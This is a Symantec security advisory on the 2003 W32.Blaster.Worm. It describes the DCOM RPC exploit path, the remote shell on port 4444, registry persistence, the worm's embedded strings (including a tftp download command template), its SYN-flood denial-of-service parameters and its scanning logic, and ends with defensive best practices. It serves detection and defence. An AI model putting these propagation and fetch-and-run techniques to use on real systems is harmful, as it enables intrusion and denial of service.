

[Welcome](#)[Enterprise](#)[Small & Mid-Sized Business](#)[Home & Home Office](#)[Partners](#)[About Symantec](#)Search [Symantec.com](#) > [Security Response](#) > **W32.Blaster.Worm**

W32.Blaster.Worm

Risk Level 2: Low[Printer Friendly Page](#) [PRINT THIS PAGE](#) [RATE THIS PAGE](#)

TOP THINGS TO DO

- [See all Viruses & Risks](#)
- [Secure your email](#)
- [Browse the web safely](#)
- [Read the Security Response Weblogs](#)
- [Scan your computer for malware](#)

Search Threats

Search by name

Example: *W32.Beagle.AG@mm*

SUMMARY

TECHNICAL DETAILS

Discovered: August 11, 2003**Updated:** December 9, 2003 11:50:19 PM**Type:** Worm**Systems Affected:** Windows 2000, Windows XP

W32.Blaster.Worm is a worm that propagates by exploiting the Microsoft Windows DCOM RPC Interface Buffer Overrun Vulnerability (BID 8205).

The worm connects on TCP port 135 and sends a large amount of data sufficient to overrun the buffer. This results in critical memory being overwritten allowing the remote system to gain a shell on TCP port 4444 with Local System privileges. This shell is then used to invoke 'tftp.exe' to transfer the worm's main executable, 'msblast.exe', from the host that compromised the system. This makes stopping the worm's propagation more difficult than shutting down a hardcoded list of IP addresses.

The worm also creates the following registry entry so that it is launched every time Windows starts: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windows auto update = msblast.exe

The worm causes the system to reboot in order to launch 'msblast.exe' immediately. It creates a mutex named 'BILLY' so that only a single instance of the worm is running on the system at a time. The compromised host will then listen on UDP port 69 for tftp connections from newly compromised systems.

The following strings are visible in the worm's code:

msblast.exe

I just want to say LOVE YOU SAN!!

billy gates why do you make this possible ? Stop making money and fix your software!!

windowsupdate.com

start %s

tftp -i %s GET %s

%d.%d.%d.%d

%i.%i.%i.%i

BILLY

windows auto update

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

If the system date is after August 15th and before December 31st, the worm will cause compromised systems to initiate a denial of service attack against windowsupdate.com. This attack will also occur after the 15th day of each month not in the above date range. One of the following conditions must be met in order for the denial of service attack to occur:

The worm runs on a Windows XP computer that was either infected or rebooted during the payload period.

The worm runs on a Windows 2000 computer that was infected during the payload period and has not been restarted since it was infected.

The worm runs on a Windows 2000 computer that has been restarted since it was infected, during the payload period, and the currently logged in user is Administrator.

The denial of service attack traffic will have the following characteristics:

SYN flood with a destination port of 80.

50 HTTP packets per second.

Packets are 40 bytes in length.

If it is unable to locate a DNS entry for windowsupdate.com it will use a destination address of 255.255.255.255. It is important to note that Microsoft has removed DNS records for windowsupdate.com.

The packets will also have the following characteristics:

IP identification = 256

Time to Live = 128

Source IP address = a.b.x.y, where a.b are from the host ip and x.y are random. In some cases a.b are random.

Destination IP address = dns resolution of "windowsupdate.com"

TCP Source port is between 1000 and 1999

TCP Destination port = 80

TCP Sequence number always has the two low bytes set to 0; the 2 high bytes are random.

TCP Window size = 16384

The worm's code appears to contain the correct offsets to exploit Windows 2000 and Windows XP regardless of service pack levels. The worm has an 20% chance of using the Windows 2000 offset against a target and a 80% chance of using the Windows XP offset.

To perform its scanning routine, the worm calculates a random IP address of A.B.C.0, where A, B, and C are random values between 0 and 254. There is a 40% chance that if C is greater than 20, it will subtract a random value less than 20 from C. Once the random address is calculated, the worm begins scanning from A.B.C.0 and incrementing the last octet to scan the entire subnet.

** August 13, 2003 - A new variant of this worm has been reported in the wild. The variant uses a file named 'penis32.exe'. Analysis of this variant is currently underway and a new record will be generated when further details are available.

** August 13, 2003 - A possible third version of this worm may be in the wild. This variant is reportedly identical in functionality to the original version but uses the filename 'teekids.exe'. The executable has reportedly had some strings changed and been repacked to avoid detection with current antivirus definitions.

** August 27, 2003 - HP has reported that W32.Blaster.Worm will cause a denial of service on HP OpenView DCE daemons. Other DCE implementations are likely vulnerable to this denial of service.

Multiple vendors have reported that W32.Blaster.Worm, will cause a denial of service on DCE daemons. This issue is described in BID 8371.

Recommendations

Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

Turn off and remove unneeded services. By default, many operating systems install auxiliary services that are not critical, such as an FTP server, telnet, and a Web server. These services are avenues of attack. If they are removed, blended threats have less avenues of attack and you have fewer services to maintain through patch updates.

If a **blended threat** exploits one or more network services, disable, or block access to, those services until a patch is applied.

Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services (for example, all Windows-based computers should have the current Service Pack installed.). Additionally, please apply any security updates that are mentioned in this writeup, in trusted Security Bulletins, or on vendor Web sites.

Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.

Configure your email server to block or remove email that contains file attachments that are commonly used to spread viruses, such as .vbs, .bat, .exe, .pif and .scr files.

Isolate infected computers quickly to prevent further compromising your organization. Perform a forensic analysis and restore the computers using trusted media.

Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.

Writeup By: Douglas Knowles, Frederic Perriott

Summary

